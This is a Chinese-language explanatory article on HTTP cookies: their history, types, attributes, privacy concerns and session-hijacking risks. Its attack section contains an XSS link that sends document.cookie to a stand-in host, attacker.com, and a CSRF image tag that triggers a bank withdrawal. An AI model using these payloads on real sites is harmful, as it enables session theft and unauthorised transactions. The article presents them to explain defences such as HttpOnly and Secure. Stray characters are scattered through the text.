前端必備HTTP技能之cookie技術(shù)詳解

HTTP cookie(也稱為web cookie,網(wǎng)絡(luò)cookie,瀏覽器cookie或者簡稱cookie)是網(wǎng)站發(fā)送的一個小的數(shù)據(jù)片段瓣蛀,當(dāng)用戶瀏覽時,會通過用戶的瀏覽器保存在用戶的電腦上。通過Cookie這種可靠的機制炬守,網(wǎng)站可以記錄狀態(tài)信息(例如在電商網(wǎng)站中放到購物車中的物品)或者記錄用戶的瀏覽行為(包括特殊按鈕的點擊为流,登錄或者記錄之前訪問的頁面)。也可以用來記錄用戶之前輸入的字段例如姓名分预,地址,密碼薪捍,信用卡號碼笼痹。

在現(xiàn)代瀏覽器中其它類型的cookie有重要的作用±掖可能最重要的就是權(quán)限認(rèn)證cookie凳干,通過這種最常用的方法web服務(wù)器可以知道用戶登錄登出,以及正在登錄的賬號被济。如果沒有這種機制救赐,站點不知道是否可以發(fā)送包含敏感信息的頁面,或者需要用戶通過登錄來驗證自身。權(quán)限認(rèn)證cookie的安全性通常依賴于站點的安全性以及用戶的瀏覽器经磅,以及cookie數(shù)據(jù)是否加密泌绣。黑客可能會利用安全漏洞讀到cookie中的數(shù)據(jù),獲取訪問用戶數(shù)據(jù)的權(quán)限或者獲取擁有該cookie的站點的訪問權(quán)限预厌。具體可以參看跨站請求偽造中的例子阿迈。

追蹤cookie,特別是一些第三方的追蹤cookie轧叽,經(jīng)常用來記錄個人瀏覽歷史苗沧,這種潛在的隱私問題導(dǎo)致歐盟和美國的立法者在2011年采取了行動。歐盟法律要求所有針對歐盟成員國的站點在用戶設(shè)備上存儲非必要cookie時必須知會用戶炭晒。

背景


名字的來源

cookie這個術(shù)語是web瀏覽器程序員Lou Montulli杜撰出來的待逞。派生自magic cookie這個術(shù)語,這個術(shù)語是Unix程序員用來描述程序接受和發(fā)送時沒有改變的數(shù)據(jù)包网严。magic cookie又派生自fortune cookie识樱,代表一種內(nèi)嵌消息。

歷史

當(dāng)Lou Montulli在1994年6月有在web通信中使用cookie的想法時屿笼,magic cookie已經(jīng)在計算機中使用了牺荠。那時他是網(wǎng)景通訊的一名員工翁巍,正在為MCI公司開發(fā)一種電子商務(wù)程序驴一。Vint CerfJohn Klensin作為MCI公司的技術(shù)代表和網(wǎng)景公司談判。MCI公司不希望他們的服務(wù)器保存事務(wù)狀態(tài)灶壶,所以他們要求網(wǎng)景公司找一種在用戶電腦上保存狀態(tài)的方式來代替服務(wù)器保存狀態(tài)肝断。在實現(xiàn)一個虛擬購物車時cookie提供了一種可靠的解決辦法。

同年驰凛,Montulli和John Giannandrea一起完成了網(wǎng)景瀏覽器cookie規(guī)范胸懈。1994年10月13號發(fā)布的0.9beta版本的網(wǎng)景瀏覽器支持了cookie機制。在實驗室之外第一次使用cookie是為了檢測訪問網(wǎng)景站點的用戶是否之前訪問過恰响。Montulli在1995年為cookie技術(shù)申請了專利趣钱,在1998年通過。1995年10月發(fā)布的IE2也集成了cookie技術(shù)胚宦。

當(dāng)時cookie技術(shù)并不為大眾所知首有。cookie是默認(rèn)接受的,不會通知用戶cookie的存在枢劝。直到1996年2月12號金融時報上刊登了一篇了關(guān)于cookie的介紹井联,大眾才逐漸知道這項技術(shù)。同年cookie受到了很多媒體關(guān)注您旁,主要是因為存在潛在隱私問題烙常。在1996年和1997年兩次美國聯(lián)邦貿(mào)易委員會的聽證會上都討論過cookie。

正式的cookie規(guī)范開發(fā)也在持續(xù)的進(jìn)行中鹤盒。在1995年4月的www-talk郵件組中第一次討論了一份正式的規(guī)范蚕脏。IETF也成立了特別的工作組侦副。兩種介紹HTTP事務(wù)狀態(tài)的可選方案被Brian Behlendorf和David Kristol分別提出來。但是Kristol和Lou Montulli領(lǐng)導(dǎo)的工作組驼鞭,很快決定利用網(wǎng)景的規(guī)范作為一個起點跃洛。在1996年2月,工作組確認(rèn)第三方的cookie是一個相當(dāng)大的隱私威脅终议。工作組最終在1997年2月的RFC 2109中發(fā)布了正式的規(guī)范汇竭。其中規(guī)定第三方cookie要么都不允許,要么默認(rèn)禁用穴张。

當(dāng)時有廣告公司已經(jīng)開始利用第三方cookie细燎。網(wǎng)景瀏覽器和IE瀏覽器都沒有遵循RFC 2109中推薦的關(guān)于第三方cookie的規(guī)范。2000年10月RFC 2965代替了RFC 2109皂甘。

最終使用的cookie規(guī)范是2011年四月發(fā)布的RFC 6265玻驻。

術(shù)語


Session cookie

也稱為內(nèi)存cookie或者瞬時cookie,只存在用戶瀏覽站點時的內(nèi)存中偿枕。當(dāng)用戶關(guān)閉瀏覽器時璧瞬,瀏覽器通常會刪除session cookies。不像其他cookies渐夸,session cookies沒有分配過期時間嗤锉,作為session cookie瀏覽器會自己管理它。

持久性cookie

不像session cookie在瀏覽器關(guān)閉時就會過期那樣墓塌,持久性cookie是到一個特定日期過期或者過來一段時間過期瘟忱。這就意味著,在cookie的整個生命周期(創(chuàng)建cookie時可以指定其生命周期)苫幢,每次用戶訪問cookie所屬站點時访诱,或者每次用戶在其他站點訪問cookie所屬站點的資源(例如廣告)時,cookie所攜帶的信息都會被發(fā)送到服務(wù)端韩肝。

由于這個原因触菜,持久性cookie有時被稱為追蹤cookie,因為廣告系統(tǒng)可以利用它記錄用戶在一段時間內(nèi)的網(wǎng)頁瀏覽習(xí)慣信息哀峻。當(dāng)然涡相,使用它也有一些“正當(dāng)”理由,例如保持用戶的登錄狀態(tài)谜诫,避免每次訪問的再次登錄漾峡。

如果過期時間到了,或者用戶手動刪除了喻旷,這種cookie會被重置生逸。

安全cookie

安全cookie只能通過安全連接傳輸(例如,https)。不能通過非安全連接傳輸(例如槽袄,http)烙无。這樣就不太可能被竊取。在cookie中設(shè)置一個Secure標(biāo)志就可以創(chuàng)建安全cookie遍尺。

HttpOnly cookie

HttpOnly cookie不能通過客戶端api獲取到截酷。這種限制減少了通過跨站腳本(XSS)竊取cookie的風(fēng)險。然而這種cookie也會受到跨站追蹤和跨站請求偽造攻擊乾戏。在cookie中添加HttpOnly可以創(chuàng)建這種cookie迂苛。

SameSite cookie

chrome51版本引入的一種新類型cookie,只有請求和站點是同源的鼓择,才會發(fā)送cookie到服務(wù)器三幻。這種限制可以緩解攻擊,例如跨站請求偽造攻擊呐能。在cookie中設(shè)置SameSite標(biāo)識可以創(chuàng)建這種類型的cookie念搬。

第三方cookie

正常情況下,cookie的域?qū)傩院蜑g覽器地址欄里顯示的域是相同的摆出。這種cookie稱為第一方cookie朗徊。然而第三方cookie不屬于瀏覽器地址欄顯示的域中。這種cookie通常出現(xiàn)在web頁面有外部站點內(nèi)容時的情況中偎漫,例如廣告系統(tǒng)爷恳。這就提供了一個潛在的能力來追蹤用戶的瀏覽歷史,廣告系統(tǒng)通常會利用這個來給每個用戶推薦相關(guān)的廣告信息骑丸。

例如舌仍,假設(shè)用戶訪問了www.example.com,這個站點包含ad.foxytracking.com的廣告通危,當(dāng)這個廣告加載時,會設(shè)置一個屬于廣告所在域(ad.foxytracking.com)的cookie灌曙。然后用戶訪問另一個站點菊碟,www.foo.com,這個站點也包含來自ad.foxytracking.com的廣告在刺,這個廣告也會設(shè)置一個屬于ad.foxytracking.com域的cookie逆害。最終,所有這些cookie會發(fā)送給廣告主蚣驼,當(dāng)用戶加載他們的廣告或者訪問他們的網(wǎng)站時魄幕。然后廣告主就可以利用這些cookie統(tǒng)計出用戶的瀏覽記錄,當(dāng)然瀏覽記錄里面的站點必須要包含廣告主的廣告颖杏。也就是廣告主可以利用這些cookie知道你訪問了那些包含他們廣告的站點纯陨。

截止到2014有些站點設(shè)置了多達(dá)100多個第三方域的cookie。平均來講,一個單獨的站點設(shè)置10個cookie翼抠,最大數(shù)量也可以達(dá)到800多個咙轩,包括第一方或者第三方的cookie。

大部分的現(xiàn)代瀏覽器都有隱私設(shè)置可以禁止第三方cookie阴颖。

Supercookie

supercookie是來自于頂級域名(例如.com)或者有公共后綴(例如.co.uk)的cookie活喊。普通cookie是來自于一個特定域名,例如example.com量愧。

supercookie是一個潛在的安全威脅钾菊,所以經(jīng)常被瀏覽器默認(rèn)禁止的。如果瀏覽器不禁止偎肃,控制惡意站點的攻擊者可以設(shè)置一個supercookie结缚,干擾或者冒充合法的用戶向其他共享頂級域名或者公共后綴的站點的請求。例如软棺,來自.com的supercookie可以惡意影響example.com的請求红竭,即便這個cookie并不是來自于example.com〈洌可以用來偽造登錄或者修改用戶信息茵宪。

公共后綴幫助降低supercookie帶來的風(fēng)險。公共后綴是一個跨廠商的倡議瘦棋,目標(biāo)是為了提供一個準(zhǔn)確的最新的域名后綴列表稀火。舊版本瀏覽器可能沒有一份最新的列表,會容易受到來自某些域的supercookie的威脅赌朋。

"supercookie"的術(shù)語有時會被用來描述某些不通過HTTP cookie的追蹤技術(shù)凰狞。兩個這樣的"supercookie"機制在2011年的微軟站點被發(fā)現(xiàn)了:機器標(biāo)識碼cookie和ETag cookie,由于媒體的關(guān)注沛慢,微軟禁止了這樣的cookie赡若。

Zombie cookie

zombie cookie是指被刪除后可以自動再創(chuàng)建的cookie。通過把cookie內(nèi)容存儲在多個地方實現(xiàn)团甲,例如flash的本地共享對象逾冬,H5的網(wǎng)頁存儲,其他客戶端甚至服務(wù)端位置躺苦。當(dāng)缺失的cookie被檢測到身腻,就會利用存儲在這些位置的數(shù)據(jù)重新創(chuàng)建cookie。

結(jié)構(gòu)


cookie包含下面的部分:

1.Name

2.Value

3.0個或多個屬性(鍵值對)匹厘。屬性存儲的信息包括cookie的有效期嘀趟,域,標(biāo)志(例如 SecureHttpOnly)

使用


session管理

cookie最初被引入的原因是為了在用戶瀏覽器購物網(wǎng)站愈诚,確定付款前她按,記住用戶已經(jīng)選購的物品牛隅,實現(xiàn)類似于購物車的功能。然而如今尤溜,用戶購物車的內(nèi)容通常存儲在服務(wù)端的數(shù)據(jù)庫中倔叼,而不是客戶端的cookie中。為了追蹤那個用戶對應(yīng)著那個購物車宫莱,服務(wù)端會發(fā)送一個cookie到客戶端丈攒,cookie中包含一個唯一的session id(通常,是一長串隨機字母和數(shù)字)授霸。因為cookie會被每個客戶端的請求發(fā)送到服務(wù)端巡验,這樣的話用戶每次訪問新頁面session id都會被發(fā)送到服務(wù)端,這樣服務(wù)端就可以知道用戶是哪個購物車了碘耳。

另一個用法就是登陸站點显设。當(dāng)用戶訪問站點的登陸頁面,服務(wù)器通常會給客戶端發(fā)送一個包含唯一session id的cookie辛辨。當(dāng)用戶成功登陸后捕捂,服務(wù)端記住那個特殊的session id已經(jīng)被授權(quán)了,然后授權(quán)用戶訪問它的服務(wù)斗搞。

由于session cookie只包含一個唯一的session id指攒,這樣站點為每個用戶保存的個人信息數(shù)量幾乎沒有限制了。session cookie也有助于提升頁面加載速度僻焚,因為session cookie中的信息量不大允悦,需要的帶寬小。

個性化

cookie可以用來記錄用戶信息虑啤,然后展示相關(guān)內(nèi)容給用戶隙弛。例如,web服務(wù)器可能會發(fā)送一個包含用戶上次登錄站點使用的用戶名的cookie狞山,這樣客戶端在用戶下次登錄的時候全闷,可以利用這個cookie中的信息填充相關(guān)頁面。

許多站點是利用用戶的偏好來做個性化铣墨。用戶在頁面表單選擇偏好室埋,然后把表單提交給服務(wù)端。服務(wù)端把這些偏好編碼到cookie中伊约,然后把cookie發(fā)給瀏覽器。這種方式在用戶每次訪問站點網(wǎng)頁時孕蝉,服務(wù)端可以根據(jù)用戶偏好個性化頁面展示屡律。例如google搜索引擎利用cookie允許用戶選擇在搜索結(jié)果頁面一次可以看到多少個搜索結(jié)果。

追蹤

追蹤cookie被用來追蹤用戶的頁面瀏覽習(xí)慣降淮。這個作用在一定程度上也可以用請求頁面的IP地址或者HTTP請求頭中的referer字段來實現(xiàn)超埋,但是使用cookie可以記錄的更精確搏讶。下面兩點可以證明:

1.如果用戶請求一個站點的頁面,但是請求不包含cookie霍殴,服務(wù)端假定是用戶第一次訪問這個頁面媒惕。所以服務(wù)端創(chuàng)建了一個唯一的標(biāo)識符(通常是一串隨機字母和數(shù)字),然后隨請求頁面把cookie發(fā)給瀏覽器来庭。

2.從現(xiàn)在開始妒蔚,這個站點每次新頁面訪問時,瀏覽器都會把cookie發(fā)給服務(wù)端月弛。服務(wù)端正常返回頁面肴盏,但是會在一個日志文件中存儲頁面的url,請求的日期以及cookie帽衙。

通過分析這個日志文件菜皂,可以找出用戶訪問了那個頁面,訪問頻次以及訪問多長時間厉萝。

公司通過追蹤cookie利用用戶的網(wǎng)絡(luò)習(xí)慣搜集用戶的購買習(xí)慣信息恍飘。

實現(xiàn)


cookies是任意的數(shù)據(jù)塊,通常由服務(wù)端先發(fā)送谴垫,然后由瀏覽器保存在客戶端電腦上章母。瀏覽器會在每個請求時把它們發(fā)給服務(wù)端,給原本無狀態(tài)的HTTP事務(wù)引入狀態(tài)弹渔。如果沒有cookie胳施,站點里面的每個頁面或者頁面里面的組件的獲取都會是獨立的事件,很大程度上和所有其他頁面么有關(guān)聯(lián)肢专。盡管通常是服務(wù)端發(fā)送cookie舞肆,客戶端也可以通過js腳本設(shè)置cookie(除非cookie被設(shè)置了HttpOnly屬性,這樣話js腳本就不能修改cookie了)博杖。

cookie規(guī)范要求瀏覽器必須滿足下面的要求才能支持cookie:

  • 可以支持最多4096個字節(jié)長度
  • 每個域最少可以支持50個cookie
  • 總共可以支持最少3000個cookie
設(shè)置cookie

使用HTTP頭中的Set-Cookie屬性設(shè)置cookie椿胯,然后在服務(wù)端響應(yīng)中發(fā)送。這個頭會讓瀏覽器保存cookie剃根,然后在后續(xù)的請求中重新發(fā)送給服務(wù)端(如果瀏覽器不支持cookie或者禁用了cookie哩盲,會忽略這個頭的)。

下面的例子狈醉,瀏覽器發(fā)送第一個請求廉油,請求www.example.org站點的首頁:

GET /index.html HTTP/1.1
Host: www.example.org

服務(wù)端以兩個Set-Cookie頭響應(yīng):

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT

服務(wù)端的HTTP響應(yīng)中包含站點的首頁。但是它仍會讓瀏覽器設(shè)置兩個cookie苗傅。第一個抒线,"theme",被當(dāng)做是一個session cookie渣慕,因為它沒有Expires或者Max-Age屬性嘶炭。當(dāng)瀏覽器關(guān)閉的時候得运,瀏覽器會刪掉Session cookie争拐。第二個,”sessionToken",被當(dāng)成是一個持久性cookie鬓催,因為它包含一個Expires屬性厂榛,這個屬性會讓瀏覽器在指定時間內(nèi)刪除cookie赏僧。

接下來瀏覽器發(fā)送另一個請求訪問spec.html頁面庭敦。這個請求包含一個CookieHTTP頭,里面有服務(wù)端設(shè)置的兩個cookie:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…

通過這種方式服務(wù)端知道這個請求和上個頁面有關(guān)宝穗。服務(wù)端會返回請求頁面户秤,可能會在響應(yīng)中包含更多的Set-Cookie頭為了增加新的cookie,修改已存在的cookie或者刪除cookie逮矛。

服務(wù)端可以通過在請求的響應(yīng)中包含Set-Cookie頭的方式修改cookie的值鸡号。瀏覽器就會用新的cookie替換掉舊的值。

cookie的值可以是任意的可打印ASCII字符须鼎,但是不包括,鲸伴,;以及空白字符。cookie的名稱也不包括這些字符晋控,還有=汞窗,因為=是用來分隔名稱和值的。cookie的RFC 2965標(biāo)準(zhǔn)更嚴(yán)格赡译,沒有被瀏覽器全部實現(xiàn)仲吏。

cookie也可以通過腳本語音在瀏覽器端設(shè)置。在js中蝌焚,document.cookie對象就是用來干這個事情的裹唆。例如,document.cookie="temperature=20"將會創(chuàng)建一個名稱為"temperature"值為"20"的cookie只洒。

Cookie屬性

除了名稱和值之外许帐,cookie也可以有其他更多的屬性。瀏覽器發(fā)送到服務(wù)端的cookie不包含屬性毕谴,只有鍵值對成畦。cookie的屬性被瀏覽器用來決定何時刪除cookie,阻塞cookie或者是否發(fā)送cookie到服務(wù)端涝开。

Domain和Path

DomainPath屬性定義了cookie的范圍循帐。本質(zhì)上是告訴瀏覽器cookie屬于哪個站點。為了明顯的安全原因舀武,cookie只能在當(dāng)前資源的頂級域名或者子級域名上設(shè)置惧浴,不能再其他域名和對應(yīng)的子級域名上設(shè)置。例如奕剃,example.org站點不能設(shè)置一個domain是foo.com的cookie衷旅,因為不會允許example.org站點去控制foo.com的cookie。

如果cookie的DomainPath屬性沒有被服務(wù)端指定纵朋,它們默認(rèn)是當(dāng)前請求資源的domain以及path柿顶。然而,在大多數(shù)瀏覽器中操软,foo.com中的cookie沒有設(shè)置domain和設(shè)置了domain屬性是有區(qū)別的嘁锯。在前一種情況下,cookie只會被發(fā)送foo.com的請求聂薪。在后一種情況下家乘,所有的子域都會包含這個cookie(例如,docs.foo.com)藏澳,IE中這條規(guī)則是例外的仁锯,在IE中這兩種情況cookie都會被發(fā)送給所有的子域。

下面就是一個用戶登錄之后站點發(fā)送的響應(yīng)中包含Set-Cookie的例子翔悠。HTTP請求是發(fā)送到docs.foo.com子域的:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…

第一個cookie业崖,LSID沒有Domain屬性,有一個Path屬性被設(shè)置成了/accounts蓄愁。這告訴瀏覽器只有當(dāng)請求頁面包含在docs.foo.com/accounts下時才返回這個cookie双炕。另外兩個cookie,HSIDSSID撮抓,在瀏覽器請求任何.foo.com的子域的任何路徑時都不會返回妇斤。簽名的點在最新的標(biāo)準(zhǔn)是可選的。

Expires和Max-Age

Expires屬性定義了一個指定的日期和時間丹拯,到了這個日期或時間時站超,瀏覽器應(yīng)該刪掉cookie。日期和時間的指定格式是Wdy, DD Mon YYYY HH:MM:SS GMT或者Wdy, DD Mon YY HH:MM:SS GMT咽笼,其中YY的值大于等于0小于等于69顷编。

作為一種選擇,Max-Age屬性可以用來設(shè)置cookie的有效期剑刑,以相對于瀏覽器接收到cookie之后的秒數(shù)來計算媳纬。下面就是一個當(dāng)用戶登錄之后從站點接收到的三個Set-Cookie頭的例子:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

第一個cookie,lu被設(shè)置在2013年1月15日過期施掏。它會被瀏覽器一直用到那個設(shè)置的時間钮惠。第二個cookie,made_write_com沒有設(shè)置有效期七芭,所以它是個session cookie素挽,當(dāng)用戶關(guān)閉瀏覽器時,會刪除這個cookie狸驳。第三個cookie预明,reg_fb_gate值被改成了"deleted"缩赛,并且有一個過去的有效期。瀏覽器會刪除這個cookie撰糠,因為它的有效期已經(jīng)過去了酥馍。注意只有'Set-Cookie'中的domain和path屬性匹配cookie被創(chuàng)建時的值時,才能被刪除阅酪。

Secure和HttpOnly

SecureHttpOnly屬性沒有關(guān)聯(lián)的值旨袒。相當(dāng)于只要顯示了他們的屬性名就表示支持他們的行為。

Secure屬性意味著把cookie通信限制在加密傳輸中术辐,指示瀏覽器只能通過安全/加密連接使用cookie砚尽。然而如果一個web服務(wù)器在非安全連接中給cookie設(shè)置了一個secure屬性,這個cookie在發(fā)送給用戶時仍然可以通過中間人攻擊攔截到辉词。因此必孤,為了安全必須通過安全連接設(shè)置cookie的Secure屬性。

HttpOnly屬性指示瀏覽器除了HTTP/HTTPS請求之外不要顯示cookie较屿。這意味著這種cookie不能在客戶端通過腳本獲取隧魄,因此也不會輕易的被跨站腳本竊取。

瀏覽器設(shè)置


大部分瀏覽器都支持cookie隘蝎,并且允許用戶禁止掉他們购啄。下面是一些常用的選項:

  • 完全允許或者禁止cookie,以便瀏覽器總是接受或者總是阻止cookie
  • 通過cookie管理器查看或者刪除cookie
  • 徹底清除所有的隱私數(shù)據(jù)嘱么,包括cookie

隱私和第三方cookie


cookie對于網(wǎng)絡(luò)用戶的隱私和匿名性上面有重要的意義狮含。而cookie只會發(fā)送給設(shè)置它們的服務(wù)器或者在同一域下的服務(wù)器,一個web頁面可能包含托管在不同域上的圖片或者組件曼振。在獲取這些組件時設(shè)置的cookie被稱為* 第三方cookie *几迄。老的cookie標(biāo)準(zhǔn)指定瀏覽器應(yīng)該保護(hù)用戶隱私,默認(rèn)情況下不能再服務(wù)端共享cookie冰评。然而新的標(biāo)準(zhǔn)明確的允許用戶代理實現(xiàn)任何第三方cookie期望的行為映胁。大部分瀏覽器,例如Firefox甲雅,IE解孙,Opera和Chrome默認(rèn)情況下允許第三方cookie,只要第三方站點聲明了隱私策略抛人。新版的Safari阻止了第三方cookie弛姜。

廣告公司使用第三方cookie在不同站點追蹤用戶。尤其是妖枚,廣告公司可以追蹤用戶訪問的所有頁面廷臼,只要這些頁面有它們投放的廣告圖片。知道用戶訪問的頁面,廣告公司就可以根據(jù)用戶偏好投放廣告荠商。

網(wǎng)站運營者如果不關(guān)閉第三方cookie寂恬,當(dāng)消費者使用cookie的記錄被發(fā)現(xiàn)時就會遭受信任危機。明確的聲明(例如在一份隱私協(xié)議里)可以消除類似的負(fù)面影響结啼。

構(gòu)建用戶畫像可能是一個隱私威脅掠剑,特別是追蹤是利用第三方cookie在不同域上完成的。由于這個原因郊愧,某些國家對cookie有相應(yīng)的立法。

cookie竊取和session劫持


大部分站點使用cookie作為用戶session的唯一標(biāo)識井佑,因為其他標(biāo)識web用戶的方法有局限性以及漏洞属铁。如果一個網(wǎng)站用戶的cookie作為session標(biāo)識,攻擊者可以模擬用戶請求通過竊取受害者的cookie設(shè)置躬翁。從服務(wù)端來看焦蘑,攻擊者發(fā)出的請求有和受害者請求一樣的授權(quán),所以這種請求就會被執(zhí)行盒发。

下面列出了多種cookie竊取以及session劫持的場景例嘱,主要是對完全依賴http cookie標(biāo)識用戶的站點起作用。

網(wǎng)絡(luò)竊聽

網(wǎng)絡(luò)流量可以被攔截然后被網(wǎng)絡(luò)上其他電腦而不僅僅只是發(fā)送者和接受者讀取到(特別是通過非加密的WiFi)宁舰。這些流量包括發(fā)送的普通非加密HTTP session中的cookies拼卵。在網(wǎng)絡(luò)流量么有加密的地方,攻擊者可以讀取到網(wǎng)絡(luò)上其他用戶的通信內(nèi)容蛮艰,包括HTTP cookies以及整個對話內(nèi)容腋腮,可以實現(xiàn)中間人攻擊的目的。

攻擊者可以使用攔截的cookie冒充用戶然后執(zhí)行惡意操作壤蚜,例如從受害者的銀行賬戶中轉(zhuǎn)移現(xiàn)金即寡。

這個問題可以通過在用戶電腦和服務(wù)端實現(xiàn)安全傳輸層協(xié)議(HTTPS協(xié)議)加密連接來解決。服務(wù)端在設(shè)置cookie時袜刷,可以指定一個Secure標(biāo)識聪富,這樣瀏覽器在發(fā)送cookie時會通過加密通道發(fā)送,例如一個SSL連接著蟹。

發(fā)布假的子域:DNS緩存污染

如果一個攻擊者可以讓DNS服務(wù)緩存一個捏造的DNS條目(稱為DNS緩存污染)墩蔓,這樣攻擊者可以獲得訪問用戶cookie的權(quán)限。例如草则,攻擊者可以利用DNS緩存污染創(chuàng)造一個捏造的DNS條目:f12345.www.example.com指向攻擊者服務(wù)器的IP地址钢拧。然后攻擊者可以從他的服務(wù)器請求一個圖片url(例如,http://f12345.www.example.com/img_4_cookie.jpg)炕横。受害者讀取到攻擊者信息后會從f12345.www.example.com下載這張圖片源内。由于f12345.www.example.comwww.example.com的子域,受害者的瀏覽器將會把所有example.com相關(guān)的cookies發(fā)送到攻擊者服務(wù)器。

如果一個攻擊者有能力獲取這些膜钓,只能說明是域名服務(wù)提供商的錯誤嗽交,因為不能正確保護(hù)他們的DNS服務(wù)器。然而如果目標(biāo)站點采用了安全cookie颂斜,可以降低這種攻擊的嚴(yán)重程度夫壁。在使用了安全cookie的情況下,攻擊者還有一個額外的挑戰(zhàn)沃疮,那就是從證書機構(gòu)獲取目標(biāo)站點的SSL證書盒让,因為安全cookie只能通過安全連接傳輸。沒有匹配的SSL證書司蔬,受害者的瀏覽器將會警告攻擊者的無效證書邑茄,幫助阻止用戶訪問攻擊者的欺詐網(wǎng)站以及發(fā)送給攻擊者他們的cookies。

跨站腳本:cookie竊取

cookie還可以通過使用跨站腳本技術(shù)被竊取俊啼。這種情況發(fā)生在那些允許用戶發(fā)送未經(jīng)過濾的html以及js內(nèi)容的站點中肺缕。通過發(fā)布惡意的html和js代碼,攻擊者可以利用受害者的瀏覽器發(fā)送受害者的cookie到攻擊者控制的站點授帕。

例如同木,一個攻擊者可能在www.example.com上發(fā)布了下面的鏈接:


<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

當(dāng)其他用戶點擊了這個鏈接,瀏覽器執(zhí)行了其中的代碼段跛十,這樣document.cookie字符串會被當(dāng)前頁面獲取到的cookies列表替換彤路。結(jié)果就是cookie列表就被發(fā)送到attacker.com服務(wù)器。如果攻擊者的惡意發(fā)布是在一個HTTPS站點https://www.example.com偶器,安全cookie同樣也會被發(fā)送到attacker.com斩萌。

過濾這些惡意的代碼是站點開發(fā)者應(yīng)盡的職責(zé)。

類似的攻擊可以利用HttpOnly cookies來減輕屏轰。這些cookie不能被客戶端腳本獲取到颊郎,因此攻擊者不能得到這些cookie。

跨站腳本:代理請求

在很多舊版本的瀏覽器中霎苗,都存在這種安全漏洞允許攻擊者利用客戶端的XMLHttpRequest的API發(fā)起一個代理請求姆吭。例如,一個受害者正在閱讀攻擊者在www.example.com站點上發(fā)布的內(nèi)容唁盏,攻擊者的腳本在受害者的瀏覽器中執(zhí)行内狸。腳本執(zhí)行產(chǎn)生一個代理服務(wù)器www.attacker.comwww.example.com的請求。由于請求是指向www.example.com厘擂,所有example.com的cookie將會隨請求一起發(fā)送昆淡,但是都經(jīng)過攻擊者的代理服務(wù)器。因此攻擊可以獲取到受害者的cookie刽严。

這種攻擊對安全cookie不生效昂灵,因為他們只能通過HTTPS鏈接傳輸,HTTPS協(xié)議規(guī)定的是端到端的加密(例如,信息在用戶瀏覽器上加密眨补,然后在目標(biāo)服務(wù)器上解密)管削。在這種情況下,代理服務(wù)器只能看到HTTP請求中的未經(jīng)加工的加密的字節(jié)撑螺。

跨站請求偽造

例如含思,Bob可能瀏覽了一個聊天論壇,里面另一個用戶甘晤,Mallory發(fā)布了一條消息含潘,假設(shè)Mallory精巧的制作一個image標(biāo)簽,引用指向Bob的銀行站點而不是一個圖片文件安皱,例如:


![](http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory)

如果Bob的銀行在cookie中保存了他的認(rèn)證信息调鬓,而且cookie還沒有過期,然后Bob的瀏覽器嘗試加載這個圖片的時候酌伊,將會發(fā)送一個取款操作,從他的cookie中缀踪,授權(quán)了這次事務(wù)居砖,盡管沒有Bob的確認(rèn)。

cookies的缺點


除了隱私問題驴娃,cookie還有其他的技術(shù)缺陷奏候。特別是它不能總是精確的標(biāo)識用戶,它可以被用來進(jìn)行安全攻擊唇敞,而且還與REST軟件設(shè)計風(fēng)格相悖蔗草。

錯誤識別

如果一臺電腦上使用多了瀏覽器,那么每個瀏覽器都會給cookie一個單獨的存儲空間疆柔。因此cookie不是標(biāo)識一個人咒精,而是作為一個用戶賬號,一臺電腦旷档,一個瀏覽器之間的連接模叙。因此任何使用多個賬號多臺電腦以及多個瀏覽器的用戶都會有多個cookie。

同樣的鞋屈,cookie不能區(qū)分共享一個賬號一臺電腦一個瀏覽器的多個用戶范咨。

客戶端和服務(wù)端不一致的狀態(tài)

使用cookie可能在客戶端狀態(tài)和存儲在cookie中的狀態(tài)之間產(chǎn)生不一致性。如果用戶取得了一個cookie厂庇,然后點擊了瀏覽器的返回按鈕渠啊,然后瀏覽器的狀態(tài)通常不會和之前獲取的狀態(tài)一樣了。例如权旷,如果一個網(wǎng)上商城的購物車用cookie來實現(xiàn)的替蛉,在用戶回退瀏覽器歷史時,購物車?yán)锩娴膬?nèi)容可能不會改變,如果用戶按了一個按鈕往購物車?yán)锩嫣砑恿艘粋€物品灭返,然后點擊了瀏覽器的返回按鈕盗迟,這個新增的物品還會保留在購物車中。這可能不是用戶的意圖熙含,用戶可能只想撤銷之前選擇新物品的操作罚缕。這可能導(dǎo)致不可靠、混亂和錯誤怎静。所以web開發(fā)者應(yīng)該注意這個問題邮弹,想到方法處理類似的問題。

cookie的替代方案


有些可以使用cookie實現(xiàn)的方案也可以使用其他機制實現(xiàn)蚓聘。

JSON Web Tokens

JSON Web Token(JWT)是一個自包含的信息包腌乡,可以用來存儲用戶標(biāo)識以及認(rèn)證信息∫鼓担可以被用來代替session cookie与纽。和cookie自動附加到每個HTTP請求的方式不一樣,JWTs必須被web應(yīng)用明確指定附加到那個HTTP請求上塘装。

HTTP 認(rèn)證

HTTP包含基本認(rèn)證以及摘要認(rèn)證協(xié)議急迂,利用這些協(xié)議只有在提供了正確的用戶名和密碼后才能訪問到web頁面。如果服務(wù)端需要類似的認(rèn)證信息來確保web頁面的訪問權(quán)限蹦肴,那么瀏覽器每次頁面請求的時候都要發(fā)送這些認(rèn)證信息僚碎。這些認(rèn)證信息也可以用來追蹤用戶。

IP 地址

有些用戶可能會被基于訪問頁面的電腦IP地址追蹤過阴幌,服務(wù)端知道當(dāng)前正在運行瀏覽器的電腦的IP地址勺阐,理論上可以對這個IP地址關(guān)聯(lián)一個用戶session。

